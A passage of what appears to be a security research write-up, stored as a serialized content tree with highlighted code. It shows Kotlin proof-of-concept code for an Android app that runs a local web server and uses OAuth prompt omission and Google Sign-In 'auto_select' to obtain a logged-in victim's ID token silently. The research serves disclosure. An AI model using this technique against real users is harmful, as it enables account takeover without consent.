style":517},[99247],{"type":28,"value":1456},{"type":23,"tag":504,"props":99249,"children":99250},{"style":523},[99251],{"type":28,"value":552},{"type":23,"tag":504,"props":99253,"children":99254},{"class":506,"line":1422},[99255,99259,99263,99267],{"type":23,"tag":504,"props":99256,"children":99257},{"style":511},[99258],{"type":28,"value":1469},{"type":23,"tag":504,"props":99260,"children":99261},{"style":523},[99262],{"type":28,"value":526},{"type":23,"tag":504,"props":99264,"children":99265},{"style":622},[99266],{"type":28,"value":1478},{"type":23,"tag":504,"props":99268,"children":99269},{"style":523},[99270],{"type":28,"value":537},{"type":23,"tag":504,"props":99272,"children":99273},{"class":506,"line":1450},[99274,99278,99282],{"type":23,"tag":504,"props":99275,"children":99276},{"style":523},[99277],{"type":28,"value":1491},{"type":23,"tag":504,"props":99279,"children":99280},{"style":517},[99281],{"type":28,"value":1496},{"type":23,"tag":504,"props":99283,"children":99284},{"style":523},[99285],{"type":28,"value":552},{"type":23,"tag":504,"props":99287,"children":99288},{"class":506,"line":1463},[99289,99293],{"type":23,"tag":504,"props":99290,"children":99291},{"style":517},[99292],{"type":28,"value":1509},{"type":23,"tag":504,"props":99294,"children":99295},{"style":523},[99296],{"type":28,"value":552},{"type":23,"tag":504,"props":99298,"children":99299},{"class":506,"line":1485},[99300,99304,99308,99312,99316],{"type":23,"tag":504,"props":99301,"children":99302},{"style":517},[99303],{"type":28,"value":1522},{"type":23,"tag":504,"props":99305,"children":99306},{"style":523},[99307],{"type":28,"value":1527},{"type":23,"tag":504,"props":99309,"children":99310},{"style":598},[99311],{"type":28,"value":601},{"type":23,"tag":504,"props":99313,"children":99314},{"style":622},[99315],{"type":28,"value":1536},{"type":23,"tag":504,"props":99317,"children":99318},{"style":523},[99319],{"type":28,"value":1192},{"type":23,"tag":504,"props":99321,"children":99322},{"class":506,"line":1503},[99323,99327,99331,99335,99339,99343,99347,99351],{"type":23,"tag":504,"props":99324,"children":99325},{"style":517},[99326],{"type":28,"value":1522},{"type":23,"tag":504,"props":99328,"children":99329},{"style":523},[99330],{"type":28,"value":1553},{"type":23,"tag":504,"props":99332,"children":99333},{"style":598},[99334],{"type":28,"value":601},{"type":23,"tag":504,"props":99336,"children":99337},{"style":622},[99338],{"type":28,"value":1562},{"type":23,"tag":504,"props":99340,"children":99341},{"style":523},[99342],{"type":28,"value":1567},{"type":23,"tag":504,"props":99344,"children":99345},{"style":598},[99346],{"type":28,"value":601},{"type":23,"tag":504,"props":99348,"children":99349},{"style":622},[99350],{"type":28,"value":1576},{"type":23,"tag":504,"props":99352,"children":99353},{"style":523},[99354],{"type":28,"value":1192},{"type":23,"tag":504,"props":99356,"children":99357},{"class":506,"line":1516},[99358,99362,99366,99370],{"type":23,"tag":504,"props":99359,"children":99360},{"style":517},[99361],{"type":28,"value":1589},{"type":23,"tag":504,"props":99363,"children":99364},{"style":523},[99365],{"type":28,"value":526},{"type":23,"tag":504,"props":99367,"children":99368},{"style":622},[99369],{"type":28,"value":1598},{"type":23,"tag":504,"props":99371,"children":99372},{"style":523},[99373],{"type":28,"value":1192},{"type":23,"tag":504,"props":99375,"children":99376},{"class":506,"line":1543},[99377],{"type":23,"tag":504,"props":99378,"children":99379},{"style":523},[99380],{"type":28,"value":1611},{"type":23,"tag":504,"props":99382,"children":99383},{"class":506,"line":1583},[99384,99388],{"type":23,"tag":504,"props":99385,"children":99386},{"style":517},[99387],{"type":28,"value":1620},{"type":23,"tag":504,"props":99389,"children":99390},{"style":523},[99391],{"type":28,"value":552},{"type":23,"tag":504,"props":99393,"children":99394},{"class":506,"line":1605},[99395,99399,99403,99407,99411],{"type":23,"tag":504,"props":99396,"children":99397},{"style":517},[99398],{"type":28,"value":1633},{"type":23,"tag":504,"props":99400,"children":99401},{"style":523},[99402],{"type":28,"value":747},{"type":23,"tag":504,"props":99404,"children":99405},{"style":598},[99406],{"type":28,"value":1642},{"type":23,"tag":504,"props":99408,"children":99409},{"style":622},[99410],{"type":28,"value":1647},{"type":23,"tag":504,"props":99412,"children":99413},{"style":523},[99414],{"type":28,"value":1652},{"type":23,"tag":504,"props":99416,"children":99417},{"class":506,"line":1614},[99418,99422],{"type":23,"tag":504,"props":99419,"children":99420},{"style":517},[99421],{"type":28,"value":1661},{"type":23,"tag":504,"props":99423,"children":99424},{"style":523},[99425],{"type":28,"value":552},{"type":23,"tag":504,"props":99427,"children":99428},{"class":506,"line":1627},[99429,99433],{"type":23,"tag":504,"props":99430,"children":99431},{"style":598},[99432],{"type":28,"value":1674},{"type":23,"tag":504,"props":99434,"children":99435},{"style":622},[99436],{"type":28,"value":99437},"\"document.body.innerText = location.hash;\"\n",{"type":23,"tag":504,"props":99439,"children":99440},{"class":506,"line":1655},[99441],{"type":23,"tag":504,"props":99442,"children":99443},{"style":523},[99444],{"type":28,"value":1688},{"type":23,"tag":504,"props":99446,"children":99447},{"class":506,"line":1668},[99448],{"type":23,"tag":504,"props":99449,"children":99450},{"style":523},[99451],{"type":28,"value":1611},{"type":23,"tag":504,"props":99453,"children":99454},{"class":506,"line":1682},[99455],{"type":23,"tag":504,"props":99456,"children":99457},{"style":523},[99458],{"type":28,"value":1705},{"type":23,"tag":504,"props":99460,"children":99461},{"class":506,"line":1691},[99462],{"type":23,"tag":504,"props":99463,"children":99464},{"style":523},[99465],{"type":28,"value":1714},{"type":23,"tag":504,"props":99467,"children":99468},{"class":506,"line":1699},[99469],{"type":23,"tag":504,"props":99470,"children":99471},{"style":523},[99472],{"type":28,"value":1282},{"type":23,"tag":504,"props":99474,"children":99475},{"class":506,"line":1708},[99476,99480,99484,99488,99492,99496],{"type":23,"tag":504,"props":99477,"children":99478},{"style":523},[99479],{"type":28,"value":1731},{"type":23,"tag":504,"props":99481,"children":99482},{"style":517},[99483],{"type":28,"value":1736},{"type":23,"tag":504,"props":99485,"children":99486},{"style":523},[99487],{"type":28,"value":1741},{"type":23,"tag":504,"props":99489,"children":99490},{"style":598},[99491],{"type":28,"value":601},{"type":23,"tag":504,"props":99493,"children":99494},{"style":511},[99495],{"type":28,"value":1750},{"type":23,"tag":504,"props":99497,"children":99498},{"style":523},[99499],{"type":28,"value":1192},{"type":23,"tag":504,"props":99501,"children":99502},{"class":506,"line":1717},[99503],{"type":23,"tag":504,"props":99504,"children":99505},{"style":523},[99506],{"type":28,"value":875},{"type":23,"tag":24,"props":99508,"children":99509},{},[99510],{"type":28,"value":99511},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":23,"tag":24,"props":99513,"children":99514},{},[99515,99517,99523],{"type":28,"value":99516},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":23,"tag":56,"props":99518,"children":99520},{"className":99519},[],[99521],{"type":28,"value":99522},"auto_select",{"type":28,"value":99524}," parameter to trigger automatic reauthentication and bypass user interaction:",{"type":23,"tag":494,"props":99526,"children":99528},{"className":98884,"code":99527,"language":98886,"meta":7,"style":7},"    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(\"http://localhost:3000\"))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            title(\"Test\")\n                            script {\n                                src = \"https://accounts.google.com/gsi/client\"\n                                attributes[\"async\"] = \"\"\n                                attributes[\"defer\"] = \"\"\n                            }\n                            script {\n                                unsafe {\n                                    +\"\"\"\n    function handleCredentialResponse(response) {\n      alert(\"credential: \" + response.credential);\n    }\n\n    window.onload = async function () {\n      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n      const client_id = oauth_url.searchParams.get(\"client_id\");\n      google.accounts.id.initialize({\n        client_id: client_id,\n        callback: handleCredentialResponse,\n        auto_select: true\n      });\n\n      google.accounts.id.renderButton(\n        document.getElementById(\"g_id_signin\"),\n        { theme: \"outline\", size: \"large\" }\n      );\n\n      google.accounts.id.prompt();\n    };\n                                    \"\"\".trimIndent()\n                                }\n                            }\n                        }\n                        body {\n                            h1 { +\"Login here:\" }\n                            div {\n                                id = \"g_id_signin\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[99529],{"type":23,"tag":56,"props":99530,"children":99531},{"__ignoreMap":7},[99532,99559,99578,99585,99604,99615,99626,99657,99680,99727,99734,99741,99748,99788,99799,99806,99813,99832,99855,99866,99885,99900,99911,99931,99942,99959,99985,100009,100016,100027,100039,100052,100060,100068,100075,100082,100090,100098,100106,100114,100122,100130,100138,100145,100152,100160,100168,100176,100183,100190,100198,100205,100226,100234,100241,100248,100259,100283,100295,100312,100319,100326,100334,100342,100350,100378],{"type":23,"tag":504,"props":99533,"children":99534},{"class":506,"line":507},[99535,99539,99543,99547,99551,99555],{"type":23,"tag":504,"props":99536,"children":99537},{"style":511},[99538],{"type":28,"value":1046},{"type":23,"tag":504,"props":99540,"children":99541},{"style":511},[99542],{"type":28,"value":1051},{"type":23,"tag":504,"props":99544,"children":99545},{"style":517},[99546],{"type":28,"value":1056},{"type":23,"tag":504,"props":99548,"children":99549},{"style":523},[99550],{"type":28,"value":1061},{"type":23,"tag":504,"props":99552,"children":99553},{"style":1012},[99554],{"type":28,"value":1066},{"type":23,"tag":504,"props":99556,"children":99557},{"style":523},[99558],{"type":28,"value":1071},{"type":23,"tag":504,"props":99560,"children":99561},{"class":506,"line":540},[99562,99566,99570,99574],{"type":23,"tag":504,"props":99563,"children":99564},{"style":511},[99565],{"type":28,"value":1079},{"type":23,"tag":504,"props":99567,"children":99568},{"style":523},[99569],{"type":28,"value":320},{"type":23,"tag":504,"props":99571,"children":99572},{"style":517},[99573],{"type":28,"value":1088},{"type":23,"tag":504,"props":99575,"children":99576},{"style":523},[99577],{"type":28,"value":1093},{"type":23,"tag":504,"props":99579,"children":99580},{"class":506,"line":555},[99581],{"type":23,"tag":504,"props":99582,"children":99583},{"emptyLinePlaceholder":16},[99584],{"type":28,"value":1038},{"type":23,"tag":504,"props":99586,"children":99587},{"class":506,"line":633},[99588,99592,99596,99600],{"type":23,"tag":504,"props":99589,"children":99590},{"style":517},[99591],{"type":28,"value":1117},{"type":23,"tag":504,"props":99593,"children":99594},{"style":523},[99595],{"type":28,"value":1122},{"type":23,"tag":504,"props":99597,"children":99598},{"style":517},[99599],{"type":28,"value":1127},{"type":23,"tag":504,"props":99601,"children":99602},{"style":523},[99603],{"type":28,"value":552},{"type":23,"tag":504,"props":99605,"children":99606},{"class":506,"line":687},[99607,99611],{"type":23,"tag":504,"props":99608,"children":99609},{"style":544},[99610],{"type":28,"value":1139},{"type":23,"tag":504,"props":99612,"children":99613},{"style":523},[99614],{"type":28,"value":552},{"type":23,"tag":504,"props":99616,"children":99617},{"class":506,"line":736},[99618,99622],{"type":23,"tag":504,"props":99619,"children":99620},{"style":517},[99621],{"type":28,"value":1151},{"type":23,"tag":504,"props":99623,"children":99624},{"style":523},[99625],{"type":28,"value":1156},{"type":23,"tag":504,"props":99627,"children":99628},{"class":506,"line":785},[99629,99633,99637,99641,99645,99649,99653],{"type":23,"tag":504,"props":99630,"children":99631},{"style":523},[99632],{"type":28,"value":1164},{"type":23,"tag":504,"props":99634,"children":99635},{"style":517},[99636],{"type":28,"value":1169},{"type":23,"tag":504,"props":99638,"children":99639},{"style":523},[99640],{"type":28,"value":526},{"type":23,"tag":504,"props":99642,"children":99643},{"style":622},[99644],{"type":28,"value":1178},{"type":23,"tag":504,"props":99646,"children":99647},{"style":523},[99648],{"type":28,"value":576},{"type":23,"tag":504,"props":99650,"children":99651},{"style":622},[99652],{"type":28,"value":1187},{"type":23,"tag":504,"props":99654,"children":99655},{"style":523},[99656],{"type":28,"value":1192},{"type":23,"tag":504,"props":99658,"children":99659},{"class":506,"line":813},[99660,99664,99668,99672,99676],{"type":23,"tag":504,"props":99661,"children":99662},{"style":523},[99663],{"type":28,"value":1200},{"type":23,"tag":504,"props":99665,"children":99666},{"style":511},[99667],{"type":28,"value":796},{"type":23,"tag":504,"props":99669,"children":99670},{"style":523},[99671],{"type":28,"value":1209},{"type":23,"tag":504,"props":99673,"children":99674},{"style":1012},[99675],{"type":28,"value":1214},{"type":23,"tag":504,"props":99677,"children":99678},{"style":523},[99679],{"type":28,"value":537},{"type":23,"tag":504,"props":99681,"children":99682},{"class":506,"line":851},[99683,99687,99691,99695,99699,99703,99707,99711,99715,99719,99723],{"type":23,"tag":504,"props":99684,"children":99685},{"style":523},[99686],{"type":28,"value":1164},{"type":23,"tag":504,"props":99688,"children":99689},{"style":517},[99690],{"type":28,"value":1231},{"type":23,"tag":504,"props":99692,"children":99693},{"style":523},[99694],{"type":28,"value":526},{"type":23,"tag":504,"props":99696,"children":99697},{"style":622},[99698],{"type":28,"value":1178},{"type":23,"tag":504,"props":99700,"children":99701},{"style":523},[99702],{"type":28,"value":576},{"type":23,"tag":504,"props":99704,"children":99705},{"style":622},[99706],{"type":28,"value":1248},{"type":23,"tag":504,"props":99708,"children":99709},{"style":511},[99710],{"type":28,"value":1253},{"type":23,"tag":504,"props":99712,"children":99713},{"style":598},[99714],{"type":28,"value":1258},{"type":23,"tag":504,"props":99716,"children":99717},{"style":511},[99718],{"type":28,"value":1263},{"type":23,"tag":504,"props":99720,"children":99721},{"style":622},[99722],{"type":28,"value":1268},{"type":23,"tag":504,"props":99724,"children":99725},{"style":523},[99726],{"type":28,"value":1273},{"type":23,"tag":504,"props":99728,"children":99729},{"class":506,"line":869},[99730],{"type":23,"tag":504,"props":99731,"children":99732},{"style":523},[99733],{"type":28,"value":1282},{"type":23,"tag":504,"props":99735,"children":99736},{"class":506,"line":878},[99737],{"type":23,"tag":504,"props":99738,"children":99739},{"style":523},[99740],{"type":28,"value":1291},{"type":23,"tag":504,"props":99742,"children":99743},{"class":506,"line":1221},[99744],{"type":23,"tag":504,"props":99745,"children":99746},{"emptyLinePlaceholder":16},[99747],{"type":28,"value":1038},{"type":23,"tag":504,"props":99749,"children":99750},{"class":506,"line":1276},[99751,99755,99759,99763,99767,99771,99775,99779,99784],{"type":23,"tag":504,"props":99752,"children":99753},{"style":511},[99754],{"type":28,"value":1317},{"type":23,"tag":504,"props":99756,"children":99757},{"style":523},[99758],{"type":28,"value":1344},{"type":23,"tag":504,"props":99760,"children":99761},{"style":598},[99762],{"type":28,"value":601},{"type":23,"tag":504,"props":99764,"children":99765},{"style":517},[99766],{"type":28,"value":1353},{"type":23,"tag":504,"props":99768,"children":99769},{"style":523},[99770],{"type":28,"value":1358},{"type":23,"tag":504,"props":99772,"children":99773},{"style":517},[99774],{"type":28,"value":662},{"type":23,"tag":504,"props":99776,"children":99777},{"style":523},[99778],{"type":28,"value":526},{"type":23,"tag":504,"props":99780,"children":99781},{"style":622},[99782],{"type":28,"value":99783},"\"http://localhost:3000\"",{"type":23,"tag":504,"props":99785,"children":99786},{"style":523},[99787],{"type":28,"value":18694},{"type":23,"tag":504,"props":99789,"children":99790},{"class":506,"line":1285},[99791,99795],{"type":23,"tag":504,"props":99792,"children":99793},{"style":517},[99794],{"type":28,"value":1376},{"type":23,"tag":504,"props":99796,"children":99797},{"style":523},[99798],{"type":28,"value":1381},{"type":23,"tag":504,"props":99800,"children":99801},{"class":506,"line":1294},[99802],{"type":23,"tag":504,"props":99803,"children":99804},{"style":523},[99805],{"type":28,"value":875},{"type":23,"tag":504,"props":99807,"children":99808},{"class":506,"line":1302},[99809],{"type":23,"tag":504,"props":99810,"children":99811},{"emptyLinePlaceholder":16},[99812],{"type":28,"value":1038},{"type":23,"tag":504,"props":99814,"children":99815},{"class":506,"line":1311},[99816,99820,99824,99828],{"type":23,"tag":504,"props":99817,"children":99818},{"style":511},[99819],{"type":28,"value":1406},{"type":23,"tag":504,"props":99821,"children":99822},{"style":511},[99823],{"type":28,"value":1051},{"type":23,"tag":504,"props":99825,"children":99826},{"style":517},[99827],{"type":28,"value":1415},{"type":23,"tag":504,"props":99829,"children":99830},{"style":523},[99831],{"type":28,"value":1030},{"type":23,"tag":504,"props":99833,"children":99834},{"class":506,"line":1334},[99835,99839,99843,99847,99851],{"type":23,"tag":504,"props":99836,"children":99837},{"style":517},[99838],{"type":28,"value":1428},{"type":23,"tag":504,"props":99840,"children":99841},{"style":523},[99842],{"type":28,"value":1433},{"type":23,"tag":504,"props":99844,"children":99845},{"style":598},[99846],{"type":28,"value":601},{"type":23,"tag":504,"props":99848,"children":99849},{"style":1440},[99850],{"type":28,"value":1443},{"type":23,"tag":504,"props":99852,"children":99853},{"style":523},[99854],{"type":28,"value":537},{"type":23,"tag":504,"props":99856,"children":99857},{"class":506,"line":1370},[99858,99862],{"type":23,"tag":504,"props":99859,"children":99860},{"style":517},[99861],{"type":28,"value":1456},{"type":23,"tag":504,"props":99863,"children":99864},{"style":523},[99865],{"type":28,"value":552},{"type":23,"tag":504,"props":99867,"children":99868},{"class":506,"line":1384},[99869,99873,99877,99881],{"type":23,"tag":504,"props":99870,"children":99871},{"style":511},[99872],{"type":28,"value":1469},{"type":23,"tag":504,"props":99874,"children":99875},{"style":523},[99876],{"type":28,"value":526},{"type":23,"tag":504,"props":99878,"children":99879},{"style":622},[99880],{"type":28,"value":1478},{"type":23,"tag":504,"props":99882,"children":99883},{"style":523},[99884],{"type":28,"value":537},{"type":23,"tag":504,"props":99886,"children":99887},{"class":506,"line":1392},[99888,99892,99896],{"type":23,"tag":504,"props":99889,"children":99890},{"style":523},[99891],{"type":28,"value":1491},{"type":23,"tag":504,"props":99893,"children":99894},{"style":517},[99895],{"type":28,"value":1496},{"type":23,"tag":504,"props":99897,"children":99898},{"style":523},[99899],{"type":28,"value":552},{"type":23,"tag":504,"props":99901,"children":99902},{"class":506,"line":1400},[99903,99907],{"type":23,"tag":504,"props":99904,"children":99905},{"style":517},[99906],{"type":28,"value":1509},{"type":23,"tag":504,"props":99908,"children":99909},{"style":523},[99910],{"type":28,"value":552},{"type":23,"tag":504,"props":99912,"children":99913},{"class":506,"line":1422},[99914,99918,99922,99927],{"type":23,"tag":504,"props":99915,"children":99916},{"style":517},[99917],{"type":28,"value":1589},{"type":23,"tag":504,"props":99919,"children":99920},{"style":523},[99921],{"type":28,"value":526},{"type":23,"tag":504,"props":99923,"children":99924},{"style":622},[99925],{"type":28,"value":99926},"\"Test\"",{"type":23,"tag":504,"props":99928,"children":99929},{"style":523},[99930],{"type":28,"value":1192},{"type":23,"tag":504,"props":99932,"children":99933},{"class":506,"line":1450},[99934,99938],{"type":23,"tag":504,"props":99935,"children":99936},{"style":517},[99937],{"type":28,"value":1661},{"type":23,"tag":504,"props":99939,"children":99940},{"style":523},[99941],{"type":28,"value":552},{"type":23,"tag":504,"props":99943,"children":99944},{"class":506,"line":1463},[99945,99950,99954],{"type":23,"tag":504,"props":99946,"children":99947},{"style":523},[99948],{"type":28,"value":99949},"                                src ",{"type":23,"tag":504,"props":99951,"children":99952},{"style":598},[99953],{"type":28,"value":601},{"type":23,"tag":504,"props":99955,"children":99956},{"style":622},[99957],{"type":28,"value":99958}," \"https://accounts.google.com/gsi/client\"\n",{"type":23,"tag":504,"props":99960,"children":99961},{"class":506,"line":1485},[99962,99967,99972,99976,99980],{"type":23,"tag":504,"props":99963,"children":99964},{"style":523},[99965],{"type":28,"value":99966},"                                attributes[",{"type":23,"tag":504,"props":99968,"children":99969},{"style":622},[99970],{"type":28,"value":99971},"\"async\"",{"type":23,"tag":504,"props":99973,"children":99974},{"style":523},[99975],{"type":28,"value":595},{"type":23,"tag":504,"props":99977,"children":99978},{"style":598},[99979],{"type":28,"value":601},{"type":23,"tag":504,"props":99981,"children":99982},{"style":622},[99983],{"type":28,"value":99984}," \"\"\n",{"type":23,"tag":504,"props":99986,"children":99987},{"class":506,"line":1503},[99988,99992,99997,100001,100005],{"type":23,"tag":504,"props":99989,"children":99990},{"style":523},[99991],{"type":28,"value":99966},{"type":23,"tag":504,"props":99993,"children":99994},{"style":622},[99995],{"type":28,"value":99996},"\"defer\"",{"type":23,"tag":504,"props":99998,"children":99999},{"style":523},[100000],{"type":28,"value":595},{"type":23,"tag":504,"props":100002,"children":100003},{"style":598},[100004],{"type":28,"value":601},{"type":23,"tag":504,"props":100006,"children":100007},{"style":622},[100008],{"type":28,"value":99984},{"type":23,"tag":504,"props":100010,"children":100011},{"class":506,"line":1516},[100012],{"type":23,"tag":504,"props":100013,"children":100014},{"style":523},[100015],{"type":28,"value":1688},{"type":23,"tag":504,"props":100017,"children":100018},{"class":506,"line":1543},[100019,100023],{"type":23,"tag":504,"props":100020,"children":100021},{"style":517},[100022],{"type":28,"value":1661},{"type":23,"tag":504,"props":100024,"children":100025},{"style":523},[100026],{"type":28,"value":552},{"type":23,"tag":504,"props":100028,"children":100029},{"class":506,"line":1583},[100030,100035],{"type":23,"tag":504,"props":100031,"children":100032},{"style":517},[100033],{"type":28,"value":100034},"                                unsafe",{"type":23,"tag":504,"props":100036,"children":100037},{"style":523},[100038],{"type":28,"value":552},{"type":23,"tag":504,"props":100040,"children":100041},{"class":506,"line":1605},[100042,100047],{"type":23,"tag":504,"props":100043,"children":100044},{"style":598},[100045],{"type":28,"value":100046},"                                    +",{"type":23,"tag":504,"props":100048,"children":100049},{"style":622},[100050],{"type":28,"value":100051},"\"\"\"\n",{"type":23,"tag":504,"props":100053,"children":100054},{"class":506,"line":1614},[100055],{"type":23,"tag":504,"props":100056,"children":100057},{"style":622},[100058],{"type":28,"value":100059},"    function handleCredentialResponse(response) {\n",{"type":23,"tag":504,"props":100061,"children":100062},{"class":506,"line":1627},[100063],{"type":23,"tag":504,"props":100064,"children":100065},{"style":622},[100066],{"type":28,"value":100067},"      alert(\"credential: \" + response.credential);\n",{"type":23,"tag":504,"props":100069,"children":100070},{"class":506,"line":1655},[100071],{"type":23,"tag":504,"props":100072,"children":100073},{"style":622},[100074],{"type":28,"value":875},{"type":23,"tag":504,"props":100076,"children":100077},{"class":506,"line":1668},[100078],{"type":23,"tag":504,"props":100079,"children":100080},{"emptyLinePlaceholder":16},[100081],{"type":28,"value":1038},{"type":23,"tag":504,"props":100083,"children":100084},{"class":506,"line":1682},[100085],{"type":23,"tag":504,"props":100086,"children":100087},{"style":622},[100088],{"type":28,"value":100089},"    window.onload = async function () {\n",{"type":23,"tag":504,"props":100091,"children":100092},{"class":506,"line":1691},[100093],{"type":23,"tag":504,"props":100094,"children":100095},{"style":622},[100096],{"type":28,"value":100097},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":23,"tag":504,"props":100099,"children":100100},{"class":506,"line":1699},[100101],{"type":23,"tag":504,"props":100102,"children":100103},{"style":622},[100104],{"type":28,"value":100105},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":23,"tag":504,"props":100107,"children":100108},{"class":506,"line":1708},[100109],{"type":23,"tag":504,"props":100110,"children":100111},{"style":622},[100112],{"type":28,"value":100113},"      google.accounts.id.initialize({\n",{"type":23,"tag":504,"props":100115,"children":100116},{"class":506,"line":1717},[100117],{"type":23,"tag":504,"props":100118,"children":100119},{"style":622},[100120],{"type":28,"value":100121},"        client_id: client_id,\n",{"type":23,"tag":504,"props":100123,"children":100124},{"class":506,"line":1725},[100125],{"type":23,"tag":504,"props":100126,"children":100127},{"style":622},[100128],{"type":28,"value":100129},"        callback: handleCredentialResponse,\n",{"type":23,"tag":504,"props":100131,"children":100132},{"class":506,"line":1757},[100133],{"type":23,"tag":504,"props":100134,"children":100135},{"style":622},[100136],{"type":28,"value":100137},"        auto_select: true\n",{"type":23,"tag":504,"props":100139,"children":100140},{"class":506,"line":1765},[100141],{"type":23,"tag":504,"props":100142,"children":100143},{"style":622},[100144],{"type":28,"value":6279},{"type":23,"tag":504,"props":100146,"children":100147},{"class":506,"line":22762},[100148],{"type":23,"tag":504,"props":100149,"children":100150},{"emptyLinePlaceholder":16},[100151],{"type":28,"value":1038},{"type":23,"tag":504,"props":100153,"children":100154},{"class":506,"line":22799},[100155],{"type":23,"tag":504,"props":100156,"children":100157},{"style":622},[100158],{"type":28,"value":100159},"      google.accounts.id.renderButton(\n",{"type":23,"tag":504,"props":100161,"children":100162},{"class":506,"line":22812},[100163],{"type":23,"tag":504,"props":100164,"children":100165},{"style":622},[100166],{"type":28,"value":100167},"        document.getElementById(\"g_id_signin\"),\n",{"type":23,"tag":504,"props":100169,"children":100170},{"class":506,"line":22825},[100171],{"type":23,"tag":504,"props":100172,"children":100173},{"style":622},[100174],{"type":28,"value":100175},"        { theme: \"outline\", size: \"large\" }\n",{"type":23,"tag":504,"props":100177,"children":100178},{"class":506,"line":22838},[100179],{"type":23,"tag":504,"props":100180,"children":100181},{"style":622},[100182],{"type":28,"value":5750},{"type":23,"tag":504,"props":100184,"children":100185},{"class":506,"line":22892},[100186],{"type":23,"tag":504,"props":100187,"children":100188},{"emptyLinePlaceholder":16},[100189],{"type":28,"value":1038},{"type":23,"tag":504,"props":100191,"children":100192},{"class":506,"line":22901},[100193],{"type":23,"tag":504,"props":100194,"children":100195},{"style":622},[100196],{"type":28,"value":100197},"      google.accounts.id.prompt();\n",{"type":23,"tag":504,"props":100199,"children":100200},{"class":506,"line":31258},[100201],{"type":23,"tag":504,"props":100202,"children":100203},{"style":622},[100204],{"type":28,"value":37973},{"type":23,"tag":504,"props":100206,"children":100207},{"class":506,"line":31279},[100208,100213,100217,100222],{"type":23,"tag":504,"props":100209,"children":100210},{"style":622},[100211],{"type":28,"value":100212},"                                    \"\"\"",{"type":23,"tag":504,"props":100214,"children":100215},{"style":523},[100216],{"type":28,"value":320},{"type":23,"tag":504,"props":100218,"children":100219},{"style":517},[100220],{"type":28,"value":100221},"trimIndent",{"type":23,"tag":504,"props":100223,"children":100224},{"style":523},[100225],{"type":28,"value":1156},{"type":23,"tag":504,"props":100227,"children":100228},{"class":506,"line":79702},[100229],{"type":23,"tag":504,"props":100230,"children":100231},{"style":523},[100232],{"type":28,"value":100233},"                                }\n",{"type":23,"tag":504,"props":100235,"children":100236},{"class":506,"line":79715},[100237],{"type":23,"tag":504,"props":100238,"children":100239},{"style":523},[100240],{"type":28,"value":1688},{"type":23,"tag":504,"props":100242,"children":100243},{"class":506,"line":79723},[100244],{"type":23,"tag":504,"props":100245,"children":100246},{"style":523},[100247],{"type":28,"value":1611},{"type":23,"tag":504,"props":100249,"children":100250},{"class":506,"line":79731},[100251,100255],{"type":23,"tag":504,"props":100252,"children":100253},{"style":517},[100254],{"type":28,"value":1620},{"type":23,"tag":504,"props":100256,"children":100257},{"style":523},[100258],{"type":28,"value":552},{"type":23,"tag":504,"props":100260,"children":100261},{"class":506,"line":79739},[100262,100266,100270,100274,100279],{"type":23,"tag":504,"props":100263,"children":100264},{"style":517},[100265],{"type":28,"value":1633},{"type":23,"tag":504,"props":100267,"children":100268},{"style":523},[100269],{"type":28,"value":747},{"type":23,"tag":504,"props":100271,"children":100272},{"style":598},[100273],{"type":28,"value":1642},{"type":23,"tag":504,"props":100275,"children":100276},{"style":622},[100277],{"type":28,"value":100278},"\"Login here:\"",{"type":23,"tag":504,"props":100280,"children":100281},{"style":523},[100282],{"type":28,"value":1652},{"type":23,"tag":504,"props":100284,"children":100285},{"class":506,"line":79779},[100286,100291],{"type":23,"tag":504,"props":100287,"children":100288},{"style":517},[100289],{"type":28,"value":100290},"                            